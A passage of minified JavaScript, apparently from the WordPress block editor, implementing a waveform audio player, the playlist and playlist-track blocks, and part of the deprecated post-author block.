Track",artist:this.options.subtitle||"",album:this.options.album||"",artwork:this.options.artwork?[{src:this.options.artwork,sizes:"512x512",type:"image/jpeg"}]:[]}),navigator.mediaSession.setActionHandler("play",()=>this.play()),navigator.mediaSession.setActionHandler("pause",()=>this.pause()),navigator.mediaSession.setActionHandler("seekbackward",()=>{this.seekTo(Math.max(0,this.audio.currentTime-10))}),navigator.mediaSession.setActionHandler("seekforward",()=>{this.seekTo(Math.min(this.audio.duration,this.audio.currentTime+10))}),navigator.mediaSession.setActionHandler("seekto",t=>{t.seekTime!==null&&this.seekTo(t.seekTime)}))}bindEvents(){this.playBtn.addEventListener("click",()=>this.togglePlay()),this.audio.addEventListener("loadstart",()=>this.setLoading(!0)),this.audio.addEventListener("loadedmetadata",()=>this.onMetadataLoaded()),this.audio.addEventListener("canplay",()=>this.setLoading(!1)),this.audio.addEventListener("play",()=>this.onPlay()),this.audio.addEventListener("pause",()=>this.onPause()),this.audio.addEventListener("ended",()=>this.onEnded()),this.audio.addEventListener("error",t=>this.onError(t)),this.canvas.addEventListener("click",t=>this.handleCanvasClick(t)),this.resizeHandler=A_e(()=>this.resizeCanvas(),100),window.addEventListener("resize",this.resizeHandler)}setupResizeObserver(){"ResizeObserver"in window&&(this.resizeObserver=new ResizeObserver(()=>{this.resizeCanvas()}),this.canvas?.parentElement&&this.resizeObserver.observe(this.canvas.parentElement))}async load(t){try{this.setLoading(!0),this.progress=0,this.hasError=!1,this.audio.src=t,await new Promise((a,n)=>{let i=()=>{this.audio.removeEventListener("loadedmetadata",i),this.audio.removeEventListener("error",l),a()},l=s=>{this.audio.removeEventListener("loadedmetadata",i),this.audio.removeEventListener("error",l),n(s)};this.audio.addEventListener("loadedmetadata",i),this.audio.addEventListener("error",l)});let r=this.options.title||M_e(t);if(this.titleEl&&(this.titleEl.textContent=r),this.options.waveform)this.setWaveformData(this.options.waveform);else try{let a=await lee(t,this.options.samples,this.options.showBPM);this.waveformData=a.peaks,a.bpm&&(this.detectedBPM=a.bpm,this.updateBPMDisplay())}catch(a){console.warn("Using placeholder waveform:",a),this.waveformData=$_e(this.options.samples)}this.drawWaveform(),this.renderMarkers(),this.initMediaSession(),this.options.onLoad&&this.options.onLoad(this)}catch(r){console.error("Failed to load audio:",r),this.onError(r)}finally{this.setLoading(!1)}}async loadTrack(t,r=null,a=null,n={}){this.isPlaying&&this.pause(),this.audio.src="",this.audio.load(),this.hasError=!1,this.errorEl&&(this.errorEl.style.display="none"),this.canvas&&(this.canvas.style.opacity="1"),this.playBtn&&(this.playBtn.disabled=!1),this.progress=0,this.waveformData=[],this.options=iee(this.options,{url:t,title:r||this.options.title,subtitle:a||this.options.subtitle,...n}),n.preload&&(this.audio.preload=n.preload),this.subtitleEl&&(a?(this.subtitleEl.textContent=a,this.subtitleEl.style.display=""):a===""&&(this.subtitleEl.style.display="none")),n.artwork&&this.artworkEl&&(this.artworkEl.src=n.artwork),n.markers&&(this.options.markers=n.markers),await this.load(t),this.play()}setWaveformData(t){if(typeof t=="string")try{let r=JSON.parse(t);this.waveformData=Array.isArray(r)?r:[]}catch{this.waveformData=t.split(",").map(Number)}else this.waveformData=Array.isArray(t)?t:[];this.drawWaveform()}drawWaveform(){!this.ctx||this.waveformData.length===0||j_e(this.ctx,this.canvas,this.waveformData,this.progress,{...this.options,waveformStyle:this.options.waveformStyle||"bars",color:this.options.waveformColor,progressColor:this.options.progressColor})}resizeCanvas(){if(!this.canvas||this.isDestroying)return;let t=window.devicePixelRatio||1,r=this.canvas.getBoundingClientRect();this.canvas.width=r.width*t,this.canvas.height=this.options.height*t,this.canvas.style.height=this.options.height+"px",this.canvas.parentElement.style.height=this.options.height+"px",this.drawWaveform()}renderMarkers(){!this.options.showMarkers||!this.options.markers?.length||!this.markersContainer||(this.markersContainer.innerHTML="",!(!this.audio||!this.audio.duration||this.audio.duration===0)&&this.options.markers.forEach((t,r)=>{if(t.time>this.audio.duration){console.warn(`Marker "${t.label}" at ${t.time}s exceeds audio duration of ${this.audio.duration}s`);return}let a=t.time/this.audio.duration*100,n=document.createElement("button");n.className="waveform-marker",n.style.left=`${a}%`,n.style.backgroundColor=t.color||"rgba(255, 255, 255, 0.5)",n.setAttribute("aria-label",t.label),n.setAttribute("data-time",t.time);let i=document.createElement("span");i.className="waveform-marker-tooltip",i.textContent=t.label,n.appendChild(i),n.addEventListener("click",l=>{l.stopPropagation(),this.seekTo(t.time),this.options.playOnSeek&&!this.isPlaying&&this.play()}),this.markersContainer.appendChild(n)}))}handleCanvasClick(t){if(!this.audio.duration)return;let r=this.canvas.getBoundingClientRect(),a=t.clientX-r.left,n=Math.max(0,Math.min(1,a/r.width));this.seekToPercent(n)}setLoading(t){this.isLoading=t,this.loadingEl&&(this.loadingEl.style.display=t?"block":"none")}onMetadataLoaded(){this.isDestroying||(this.totalTimeEl&&(this.totalTimeEl.textContent=nee(this.audio.duration)),this.renderMarkers())}onPlay(){if(this.isDestroying)return;this.isPlaying=!0,this.playBtn.classList.add("playing");let t=this.playBtn.querySelector(".waveform-icon-play"),r=this.playBtn.querySelector(".waveform-icon-pause");t&&(t.style.display="none"),r&&(r.style.display="flex"),this.startSmoothUpdate(),this.container.dispatchEvent(new CustomEvent("waveformplayer:play",{bubbles:!0,detail:{player:this,url:this.options.url}})),this.options.onPlay&&this.options.onPlay(this)}onPause(){if(this.isDestroying)return;this.isPlaying=!1,this.playBtn.classList.remove("playing");let t=this.playBtn.querySelector(".waveform-icon-play"),r=this.playBtn.querySelector(".waveform-icon-pause");t&&(t.style.display="flex"),r&&(r.style.display="none"),this.stopSmoothUpdate(),this.container.dispatchEvent(new CustomEvent("waveformplayer:pause",{bubbles:!0,detail:{player:this,url:this.options.url}})),this.options.onPause&&this.options.onPause(this)}onEnded(){this.isDestroying||(this.progress=0,this.audio.currentTime=0,this.drawWaveform(),this.currentTimeEl&&(this.currentTimeEl.textContent="0:00"),this.container.dispatchEvent(new CustomEvent("waveformplayer:ended",{bubbles:!0,detail:{player:this,url:this.options.url}})),this.onPause(),this.options.onEnd&&this.options.onEnd(this))}onError(t){this.isDestroying||(console.error("Audio error:",t),this.hasError=!0,this.setLoading(!1),this.errorEl&&(this.errorEl.style.display="flex"),this.canvas&&(this.canvas.style.opacity="0.2"),this.playBtn&&(this.playBtn.disabled=!0),this.options.onError&&this.options.onError(t,this))}startSmoothUpdate(){this.stopSmoothUpdate();let t=()=>{this.isPlaying&&this.audio.duration&&(this.updateProgress(),this.updateTimer=requestAnimationFrame(t))};this.updateTimer=requestAnimationFrame(t)}stopSmoothUpdate(){this.updateTimer&&(cancelAnimationFrame(this.updateTimer),this.updateTimer=null)}updateProgress(){if(!this.audio.duration)return;let t=this.audio.currentTime/this.audio.duration;Math.abs(t-this.progress)>.001&&(this.progress=t,this.drawWaveform()),this.currentTimeEl&&(this.currentTimeEl.textContent=nee(this.audio.currentTime)),this.container.dispatchEvent(new CustomEvent("waveformplayer:timeupdate",{bubbles:!0,detail:{player:this,currentTime:this.audio.currentTime,duration:this.audio.duration,url:this.options.url}})),this.options.onTimeUpdate&&this.options.onTimeUpdate(this.audio.currentTime,this.audio.duration,this)}updateBPMDisplay(){this.bpmEl&&this.bpmValueEl&&this.detectedBPM&&(this.bpmValueEl.textContent=Math.round(this.detectedBPM),this.bpmEl.style.display="inline-flex")}updateSpeedUI(){let t=this.container.querySelector(".speed-value");if(t){let r=this.audio.playbackRate;t.textContent=r===1?"1x":`${r}x`}this.container.querySelectorAll(".speed-option").forEach(r=>{r.classList.toggle("active",parseFloat(r.dataset.rate)===this.audio.playbackRate)})}play(){this.options.singlePlay&&ol.currentlyPlaying&&ol.currentlyPlaying!==this&&ol.currentlyPlaying.pause(),ol.currentlyPlaying=this,this.audio.play()}pause(){ol.currentlyPlaying===this&&(ol.currentlyPlaying=null),this.audio.pause()}togglePlay(){this.isPlaying?this.pause():this.play()}seekTo(t){this.audio&&this.audio.duration&&(this.audio.currentTime=Math.max(0,Math.min(t,this.audio.duration)),this.updateProgress())}seekToPercent(t){this.audio&&this.audio.duration&&(this.audio.currentTime=this.audio.duration*Math.max(0,Math.min(1,t)),this.updateProgress())}setVolume(t){this.audio&&(this.audio.volume=Math.max(0,Math.min(1,t)))}setPlaybackRate(t){if(!this.audio)return;let r=Math.max(.5,Math.min(2,t));this.audio.playbackRate=r,this.options.playbackRate=r,this.updateSpeedUI()}destroy(){this.isDestroying=!0,this.pause(),this.stopSmoothUpdate(),this.resizeObserver&&(this.resizeObserver.disconnect(),this.resizeObserver=null),this.resizeHandler&&(window.removeEventListener("resize",this.resizeHandler),this.resizeHandler=null),ol.instances.delete(this.id),ol.currentlyPlaying===this&&(ol.currentlyPlaying=null),this.audio&&(this.audio.pause(),this.audio.src="",this.audio.load(),this.audio=null),this.container.innerHTML="",this.canvas=null,this.ctx=null,this.playBtn=null,this.waveformData=[]}static getInstance(t){if(typeof t=="string"){let r=this.instances.get(t);if(r)return r;let a=document.getElementById(t);if(a)return Array.from(this.instances.values()).find(n=>n.container===a)}if(t instanceof HTMLElement)return Array.from(this.instances.values()).find(r=>r.container===t)}static getAllInstances(){return Array.from(this.instances.values())}static destroyAll(){this.instances.forEach(t=>t.destroy()),this.instances.clear()}static async generateWaveformData(t,r=200){try{return(await lee(t,r)).peaks}catch(a){throw console.error("Failed to generate waveform:",a),a}}};function JD(){typeof document>"u"||document.querySelectorAll("[data-waveform-player]").forEach(e=>{if(e.dataset.waveformInitialized!=="true")try{new Sw(e),e.dataset.waveformInitialized="true"}catch(t){console.error("Failed to initialize WaveformPlayer:",t,e)}})}typeof document<"u"&&(document.readyState==="loading"?document.addEventListener("DOMContentLoaded",JD):JD());Sw.init=JD;typeof window<"u"&&(window.WaveformPlayer=Sw);var cee=Sw;var X_e=100;function J_e(e){return e.ownerDocument.defaultView.getComputedStyle(e)}function eke(e){let t=J_e(e).color,r=co(t).alpha(.3).toRgbString(),a=co(t).alpha(.6).toRgbString();return{textColor:t,waveformColor:r,progressColor:a}}function tke({url:e,title:t,artist:r,artwork:a,waveformColor:n,progressColor:i,buttonColor:l,height:s=X_e}){let c=document.createElement("div");return c.setAttribute("data-waveform-player",""),c.setAttribute("data-url",e),c.setAttribute("data-height",String(s)),c.setAttribute("data-waveform-style","bars"),c.setAttribute("data-waveform-color",n),c.setAttribute("data-progress-color",i),c.setAttribute("data-button-color",l),c.setAttribute("data-text-color",l),c.setAttribute("data-text-secondary-color",l),t&&c.setAttribute("data-title",t),r&&c.setAttribute("data-subtitle",r),a&&c.setAttribute("data-artwork",a),c}function rke(e,t){let a=co(t).isDark()?"#ffffff":"#000000";e.querySelectorAll("svg path").forEach(i=>{i.style.fill=a})}function oke(e,{play:t="Play",pause:r="Pause"}={}){let a=e.querySelector(".waveform-btn");if(!a)return;a.setAttribute("aria-label",t);let n=()=>a.setAttribute("aria-label",r),i=()=>a.setAttribute("aria-label",t);return e.addEventListener("waveformplayer:play",n),e.addEventListener("waveformplayer:pause",i),e.addEventListener("waveformplayer:ended",i),()=>{e.removeEventListener("waveformplayer:play",n),e.removeEventListener("waveformplayer:pause",i),e.removeEventListener("waveformplayer:ended",i)}}function ake(e){e.name!=="AbortError"&&console.error("Playlist play error:",e)}function uee(e,{src:t,title:r,artist:a,image:n,autoPlay:i,onEnded:l,labels:s}){let{textColor:c,waveformColor:u,progressColor:m}=eke(e),p=tke({url:t,title:r,artist:a,artwork:n,waveformColor:u,progressColor:m,buttonColor:c});e.appendChild(p);let d=new cee(p),f,h={ready:()=>{rke(p,c),f=oke(p,s),i&&d.play()?.catch(ake)},ended:()=>l?.()};return p.addEventListener("waveformplayer:ready",h.ready),p.addEventListener("waveformplayer:ended",h.ended),{instance:d,container:p,destroy:()=>{f?.(),p.removeEventListener("waveformplayer:ready",h.ready),p.removeEventListener("waveformplayer:ended",h.ended),d.destroy(),p.remove()}}}var dee=o(v(),1);function fee({src:e,title:t,artist:r,image:a,onEnded:n}){let i=(0,mee.useRef)(n);i.current=n;let l=(0,pee.useRefEffect)(s=>{if(!e)return;let c=!1,u;function m(){if(c)return;let{destroy:d}=uee(s,{src:e,title:t,artist:r,image:a,onEnded:()=>i.current?.()});u=d}let p=setTimeout(m,100);return()=>{c=!0,clearTimeout(p),u?.()}},[e,t,r,a]);return(0,dee.jsx)("div",{ref:l,className:"wp-block-playlist__waveform-player"})}var eL=o(I(),1);function hee(e){return{id:e.id||e.url,uniqueId:tu(),src:e.url,title:e.title,artist:e.artist||e?.meta?.artist||e?.media_details?.artist||(0,eL.__)("Unknown artist"),album:e.album||e?.meta?.album||e?.media_details?.album||(0,eL.__)("Unknown album"),length:e?.fileLength||e?.media_details?.length_formatted,image:e?.image?.src&&e?.image?.src.endsWith("/images/media/audio.svg")?"":e?.image?.src}}var Lt=o(v(),1),gee=["audio"],nke=({attributes:e,setAttributes:t,isSelected:r,insertBlocksAfter:a,clientId:n})=>{let{order:i,showTracklist:l,showNumbers:s,showImages:c,showArtists:u,currentTrack:m}=e,p=(0,Fr.useBlockProps)(),{replaceInnerBlocks:d,__unstableMarkNextChangeAsNotPersistent:f}=(0,xd.useDispatch)(Fr.store),{createErrorNotice:h}=(0,xd.useDispatch)(vee.store),g=W();function b(P){h(P,{type:"snackbar"})}let{updateBlockAttributes:y}=(0,xd.useDispatch)(Fr.store),{innerBlockTracks:_}=(0,xd.useSelect)(P=>{let{getBlock:H}=P(Fr.store);return{innerBlockTracks:H(n)?.innerBlocks??[]}},[n]);(0,yd.useEffect)(()=>{let P=new Set,H=!1,$=_.map(V=>P.has(V.attributes.uniqueId)?(H=!0,{...V,attributes:{...V.attributes,uniqueId:tu()}}):(P.add(V.attributes.uniqueId),V));H&&d(n,$)},[_,n,d]);let x=_.filter(P=>!!P.attributes.uniqueId),k=x.map(P=>P.attributes),S=x[0]?.attributes?.uniqueId;(0,yd.useEffect)(()=>{k.length===0?m!==null&&y(n,{currentTrack:null}):S&&S!==m&&y(n,{currentTrack:S})},[k,m,S,n,y]);let C=(0,yd.useCallback)(P=>{if(!P)return;Array.isArray(P)||(P=[P]);let H=P.map(hee);f(),t({currentTrack:H.length>0?H[0].uniqueId:null});let $=H.map(V=>(0,bee.createBlock)("core/playlist-track",V));d(n,$)},[f,t,d,n]),E=k.find(P=>P.uniqueId===m),B=(0,yd.useCallback)(()=>{let P=k.findIndex($=>$.uniqueId===m),H=k[P+1]||k[0];H?.uniqueId&&t({currentTrack:H.uniqueId})},[m,k,t]),D=(0,yd.useCallback)(P=>{let H=[..._].sort((V,G)=>{let K=V.attributes.title||"",X=G.attributes.title||"";return P==="asc"?K.localeCompare(X):X.localeCompare(K)}),$=H[0]?.attributes?.uniqueId;d(n,H),t({order:P,currentTrack:$&&$!==m?$:m})},[n,m,_,d,t]);function M(P){return H=>{t({[P]:H})}}let O=(0,xd.useSelect)(P=>P(Fr.store).hasSelectedInnerBlock(n),[n]),F=(0,Fr.useInnerBlocksProps)(p,{__experimentalAppenderTagName:"li",renderAppender:(r||O)&&Fr.InnerBlocks.ButtonBlockAppender});return k.length===0?(0,Lt.jsx)("div",{...p,className:w("is-placeholder",p.className),children:(0,Lt.jsx)(Fr.MediaPlaceholder,{icon:(0,Lt.jsx)(Fr.BlockIcon,{icon:Qn}),labels:{title:(0,Eo.__)("Playlist"),instructions:(0,Eo.__)("Upload an audio file or pick one from your media library.")},onSelect:C,accept:"audio/*",multiple:!0,allowedTypes:gee,onError:b})}):(0,Lt.jsxs)(Lt.Fragment,{children:[(0,Lt.jsx)(Fr.BlockControls,{group:"other",children:(0,Lt.jsx)(Fr.MediaReplaceFlow,{name:(0,Eo.__)("Edit"),onSelect:C,accept:"audio/*",multiple:!0,mediaIds:k.filter(P=>P.id).map(P=>P.id),allowedTypes:gee,onError:b})}),(0,Lt.jsx)(Fr.InspectorControls,{children:(0,Lt.jsxs)(ia.__experimentalToolsPanel,{label:(0,Eo.__)("Settings"),resetAll:()=>{t({showTracklist:!0,showArtists:!0,showNumbers:!0,showImages:!0,order:"asc"})},dropdownMenuProps:g,children:[(0,Lt.jsx)(ia.__experimentalToolsPanelItem,{label:(0,Eo.__)("Show Tracklist"),isShownByDefault:!0,hasValue:()=>l!==!0,onDeselect:()=>t({showTracklist:!0}),children:(0,Lt.jsx)(ia.ToggleControl,{label:(0,Eo.__)("Show Tracklist"),onChange:M("showTracklist"),checked:l})}),l&&(0,Lt.jsxs)(Lt.Fragment,{children:[(0,Lt.jsx)(ia.__experimentalToolsPanelItem,{label:(0,Eo.__)("Show artist name in Tracklist"),isShownByDefault:!0,hasValue:()=>u!==!0,onDeselect:()=>t({showArtists:!0}),children:(0,Lt.jsx)(ia.ToggleControl,{label:(0,Eo.__)("Show artist name in Tracklist"),onChange:M("showArtists"),checked:u})}),(0,Lt.jsx)(ia.__experimentalToolsPanelItem,{label:(0,Eo.__)("Show number in Tracklist"),isShownByDefault:!0,hasValue:()=>s!==!0,onDeselect:()=>t({showNumbers:!0}),children:(0,Lt.jsx)(ia.ToggleControl,{label:(0,Eo.__)("Show number in Tracklist"),onChange:M("showNumbers"),checked:s})})]}),(0,Lt.jsx)(ia.__experimentalToolsPanelItem,{label:(0,Eo.__)("Show images"),isShownByDefault:!0,hasValue:()=>c!==!0,onDeselect:()=>t({showImages:!0}),children:(0,Lt.jsx)(ia.ToggleControl,{label:(0,Eo.__)("Show images"),onChange:M("showImages"),checked:c})}),(0,Lt.jsx)(ia.__experimentalToolsPanelItem,{label:(0,Eo.__)("Order"),isShownByDefault:!0,hasValue:()=>i!=="asc",onDeselect:()=>t({order:"asc"}),children:(0,Lt.jsx)(ia.SelectControl,{__next40pxDefaultSize:!0,label:(0,Eo.__)("Order"),value:i,options:[{label:(0,Eo.__)("Descending"),value:"desc"},{label:(0,Eo.__)("Ascending"),value:"asc"}],onChange:P=>D(P)})})]})}),(0,Lt.jsxs)("figure",{...p,children:[(0,Lt.jsx)(ia.Disabled,{isDisabled:!r,children:(0,Lt.jsx)(fee,{src:E?.src,title:E?.title,artist:E?.artist,image:E?.image,onEnded:B})}),l&&(0,Lt.jsx)("ol",{className:w("wp-block-playlist__tracklist",{"wp-block-playlist__tracklist-show-numbers":s}),children:F.children}),(0,Lt.jsx)(ha,{attributes:e,setAttributes:t,isSelected:r,insertBlocksAfter:a,label:(0,Eo.__)("Playlist caption text"),showToolbarButton:r,style:{marginTop:16}})]})]})},yee=nke;var ru=o(T(),1),Xv=o(v(),1);function xee({attributes:e}){let{caption:t,showNumbers:r,showTracklist:a,showArtists:n}=e,i=ru.useBlockProps.save(),l=ru.useInnerBlocksProps.save(i);return(0,Xv.jsxs)("figure",{...l,children:[(0,Xv.jsx)("ol",{className:w("wp-block-playlist__tracklist",{"wp-block-playlist__tracklist-is-hidden":!a,"wp-block-playlist__tracklist-artist-is-hidden":!n,"wp-block-playlist__tracklist-show-numbers":r}),children:l.children}),!ru.RichText.isEmpty(t)&&(0,Xv.jsx)(ru.RichText.Content,{tagName:"figcaption",className:(0,ru.__experimentalGetElementClassName)("caption"),value:t})]})}var{name:_ee}=kw,kee={icon:Qn,edit:yee,save:xee},ike=()=>N({name:_ee,metadata:kw,settings:kee});var oL={};q(oL,{init:()=>uke,metadata:()=>Tw,name:()=>Pee,settings:()=>Bee});var Tw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/playlist-track",title:"Playlist track",category:"media",parent:["core/playlist"],description:"Playlist track.",keywords:["music","sound"],textdomain:"default",usesContext:["showArtists","currentTrack"],attributes:{blob:{type:"string",role:"local"},id:{type:"number"},uniqueId:{type:"string"},src:{type:"string"},type:{type:"string",default:"audio"},album:{type:"string"},artist:{type:"string"},image:{type:"string"},length:{type:"string"},title:{type:"string"}},supports:{html:!1,interactivity:{clientNavigation:!0},reusable:!1},style:"wp-block-playlist-track"};var wee=o(Tr(),1),Bw=o(j(),1),fo=o(T(),1),Ci=o(A(),1),Cee=o(z(),1),See=o(yr(),1),qr=o(I(),1);var Pw=o(Ri(),1);var kt=o(v(),1),rL=["audio"],ske=["image"],cke=({attributes:e,setAttributes:t,context:r})=>{let{id:a,uniqueId:n,src:i,album:l,artist:s,image:c,length:u,title:m}=e,[p,d]=(0,Bw.useState)(e.blob),f=r?.showArtists,h=r?.currentTrack,g=(0,Bw.useRef)(),b=(0,fo.useBlockProps)(),{createErrorNotice:y}=(0,Cee.useDispatch)(See.store);function _(C){y(C,{type:"snackbar"})}xs({src:p,allowedTypes:rL,onChange:x,onError:_});function x(C){if(!C||!C.url){t({blob:void 0,id:void 0,uniqueId:void 0,artist:void 0,album:void 0,image:void 0,length:void 0,title:void 0,url:void 0}),d();return}if((0,wee.isBlobURL)(C.url)){d(C.url);return}t({blob:void 0,id:C.id,uniqueId:tu(),src:C.url,artist:C.artist||C?.meta?.artist||C?.media_details?.artist||(0,qr.__)("Unknown artist"),album:C.album||C?.meta?.album||C?.media_details?.album||(0,qr.__)("Unknown album"),image:C?.image?.src&&C?.image?.src.endsWith("/images/media/audio.svg")?"":C?.image?.src,length:C?.fileLength||C?.media_details?.length_formatted,title:C.title}),d()}function k(C){t({image:C.url})}function S(){t({image:void 0}),g.current.focus()}return!i&&!p?(0,kt.jsx)("div",{...b,children:(0,kt.jsx)(fo.MediaPlaceholder,{icon:(0,kt.jsx)(fo.BlockIcon,{icon:Qn}),labels:{title:(0,qr.__)("Track"),instructions:(0,qr.__)("Upload an audio file or pick one from your media library.")},onSelect:x,accept:"audio/*",allowedTypes:rL,value:e,onError:_})}):(0,kt.jsxs)(kt.Fragment,{children:[(0,kt.jsx)(fo.BlockControls,{group:"other",children:(0,kt.jsx)(fo.MediaReplaceFlow,{name:(0,qr.__)("Replace"),onSelect:x,accept:"audio/*",mediaId:a,mediaURL:i,allowedTypes:rL,onError:_})}),(0,kt.jsx)(fo.InspectorControls,{children:(0,kt.jsxs)(Ci.PanelBody,{title:(0,qr.__)("Settings"),children:[(0,kt.jsx)(Ci.TextControl,{__next40pxDefaultSize:!0,label:(0,qr.__)("Artist"),value:s?(0,Pw.__unstableStripHTML)(s):"",onChange:C=>{t({artist:C})}}),(0,kt.jsx)(Ci.TextControl,{__next40pxDefaultSize:!0,label:(0,qr.__)("Album"),value:l?(0,Pw.__unstableStripHTML)(l):"",onChange:C=>{t({album:C})}}),(0,kt.jsx)(Ci.TextControl,{__next40pxDefaultSize:!0,label:(0,qr.__)("Title"),value:m?(0,Pw.__unstableStripHTML)(m):"",onChange:C=>{t({title:C})}}),(0,kt.jsx)(fo.MediaUploadCheck,{children:(0,kt.jsxs)("div",{className:"editor-video-poster-control",children:[(0,kt.jsx)(Ci.BaseControl.VisualLabel,{children:(0,qr.__)("Album cover image")}),!!c&&(0,kt.jsx)("img",{src:c,alt:(0,qr.__)("Preview of the album cover image")}),(0,kt.jsx)(fo.MediaUpload,{title:(0,qr.__)("Select image"),onSelect:k,allowedTypes:ske,render:({open:C})=>(0,kt.jsx)(Ci.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:C,ref:g,children:c?(0,qr.__)("Replace"):(0,qr.__)("Select")})}),!!c&&(0,kt.jsx)(Ci.Button,{__next40pxDefaultSize:!0,onClick:S,variant:"tertiary",children:(0,qr.__)("Remove")})]})})]})}),(0,kt.jsxs)("li",{...b,children:[!!p&&(0,kt.jsx)(Ci.Spinner,{}),(0,kt.jsxs)("button",{className:"wp-block-playlist-track__button","data-wp-context":JSON.stringify({uniqueId:n}),"aria-current":h===n?"true":"false",children:[(0,kt.jsxs)("span",{className:"wp-block-playlist-track__content",children:[(0,kt.jsx)(fo.RichText,{tagName:"span",className:"wp-block-playlist-track__title",value:m,placeholder:(0,qr.__)("Add title"),onChange:C=>{t({title:C})},allowedFormats:[],withoutInteractiveFormatting:!0}),f&&(0,kt.jsx)(fo.RichText,{tagName:"span",className:"wp-block-playlist-track__artist",value:s,placeholder:(0,qr.__)("Add artist"),onChange:C=>t({artist:C}),allowedFormats:[],withoutInteractiveFormatting:!0})]}),(0,kt.jsxs)("span",{className:"wp-block-playlist-track__length",children:[u&&(0,kt.jsx)("span",{className:"screen-reader-text",children:(0,qr.__)("Length:")}),u]}),(0,kt.jsx)("span",{className:"screen-reader-text",children:(0,qr.__)("Select to play this track")})]})]})]})},Tee=cke;var{name:Pee}=Tw,Bee={icon:Qn,edit:Tee},uke=()=>N({name:Pee,metadata:Tw,settings:Bee});var nL={};q(nL,{init:()=>gke,metadata:()=>Iw,name:()=>zee,settings:()=>Vee});var Ree=o(I(),1);var Iw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-author",title:"Author (deprecated)",category:"theme",description:"This block is deprecated. Please use the Avatar block, the Author Name block, and the Author Biography block instead.",textdomain:"default",attributes:{textAlign:{type:"string"},avatarSize:{type:"number",default:48},showAvatar:{type:"boolean",default:!0},showBio:{type:"boolean"},byline:{type:"string"},isLink:{type:"boolean",default:!1,role:"content"},linkTarget:{type:"string",default:"_self",role:"content"}},usesContext:["postType","postId","queryId"],supports:{inserter:!1,anchor:!0,html:!1,spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}},filter:{duotone:!0}},selectors:{filter:{duotone:".wp-block-post-author .wp-block-post-author__avatar img"}},editorStyle:"wp-block-post-author-editor",style:"wp-block-post-author"};var nn=o(T(),1),Cr=o(A(),1),Lee=o(ue(),1),Ew=o(Y(),1),kd=o(z(),1),Nw=o(j(),1),aL=o(Ho(),1),wr=o(I(),1),Mee=o(U(),1);var _d=o(U(),1),Eee=o(I(),1),Nee=o(T(),1);var{cleanEmptyObject:Iee}=Z(Nee.privateApis);function Dee(e,t){let{avatarSize:r,byline:a,showAvatar:n,showBio:i,isLink:l,linkTarget:s,textAlign:c,style:u,...m}=e,p=n&&t.some(g=>g.name==="core/avatar"),d=a&&t.some(g=>g.name==="core/paragraph"),f=t.some(g=>g.name==="core/post-author-name"),h=i&&t.some(g=>g.name==="core/post-author-biography");return(0,_d.createBlock)("core/group",{...m,style:Iee({...u,spacing:{...u?.spacing,blockGap:"1em"},color:{...u?.color,duotone:void 0}}),layout:{type:"flex",flexWrap:"nowrap",verticalAlignment:"top"}},[p&&(0,_d.createBlock)("core/avatar",{size:r,style:Iee({border:{radius:"0px"},color:{duotone:u?.color?.duotone}})}),(0,_d.createBlock)("core/group",{style:{layout:{selfStretch:"fill",flexSize:null},spacing:{blockGap:"0"}},layout:{type:"flex",orientation:"vertical",justifyContent:"stretch"}},[d&&(0,_d.createBlock)("core/paragraph",{content:a,placeholder:(0,Eee.__)("Write byline\u2026"),style:{typography:{fontSize:"0.5em",textAlign:c}}}),f&&(0,_d.createBlock)("core/post-author-name",{isLink:l,linkTarget:s,style:{typography:{fontSize:"1em",textAlign:c}}}),h&&(0,_d.createBlock)("core/post-author-biography",{style:{typography:{fontSize:"0.7em",textAlign:c}}})].filter(Boolean))].filter(Boolean))}var ct=o(v(),1),{InspectorControlsLastItem:pke}=Z(nn.privateApis),dke={who:"authors",per_page:100,_fields:"id,name",context:"view"};function fke({value:e,onChange:t}){let[r,a]=(0,Nw.useState)(""),{authors:n,isLoading:i}=(0,kd.useSelect)(s=>{let{getUsers:c,isResolving:u}=s(Ew.store),m={...dke};return r&&(m.search=r,m.search_columns=["name"]),{authors:c(m),isLoading:u("getUsers",[m])}},[r]),l=(0,Nw.useMemo)(()=>{let s=(n??[]).map(m=>({value:m.id,label:(0,aL.decodeEntities)(m.name)})),c=s.findIndex(m=>e?.id===m.value),u=[];return c<0&&e?u=[{value:e.id,label:(0,aL.decodeEntities)(e.name)}]:c<0&&!e&&(u=[{value:0,label:(0,wr.__)("(No author)")}]),[...u,...s]},[n,e]);return(0,ct.jsx)(Cr.ComboboxControl,{__next40pxDefaultSize:!0,label:(0,wr.__)("Author"),options:l,value:e?.id,onFilterValueChange:(0,Lee.debounce)(a,300),onChange:t,allowReset:!1,isLoading:i})}function hke({isSelected:e,context:{postType:t,postId:r,queryId:a},attributes:n,setAttributes:i,clientId:l}){let s=Number.isFinite(a),c=W(),u=b1(),{authorDetails:m,canAssignAuthor:p,supportsAuthor:d}=(0,kd.useSelect)(F=>{let{getEditedEntityRecord:P,getUser:H,getPostType:$}=F(Ew.store),V=P("postType",t,r),G=V?.author;return{authorDetails:G?H(G,{context:"view"}):null,supportsAuthor:$(t)?.supports?.author??!1,canAssignAuthor:!!V?._links?.["wp:action-assign-author"]}},[t,r]),f=(0,kd.useSelect)(F=>F(Mee.store).getBlockTypes(),[]),{editEntityRecord:h}=(0,kd.useDispatch)(Ew.store),{replaceBlock:g}=(0,kd.useDispatch)(nn.store),{textAlign:b,showAvatar:y,showBio:_,byline:x,isLink:k,linkTarget:S,avatarSize:C}=n,E=[],B=m?.name||(0,wr.__)("Post Author");m?.avatar_urls&&Object.keys(m.avatar_urls).forEach(F=>{E.push({value:F,label:`${F} x ${F}`})});let D=(0,nn.useBlockProps)({className:w({[`has-text-align-${b}`]:b})}),M=F=>{h("postType",t,r,{author:F})},O=!!r&&!s&&p;if(!d&&t!==void 0)return(0,ct.jsx)("div",{...D,children:(0,wr.sprintf)((0,wr.__)("This post type (%s) does not support the author."),t)});function 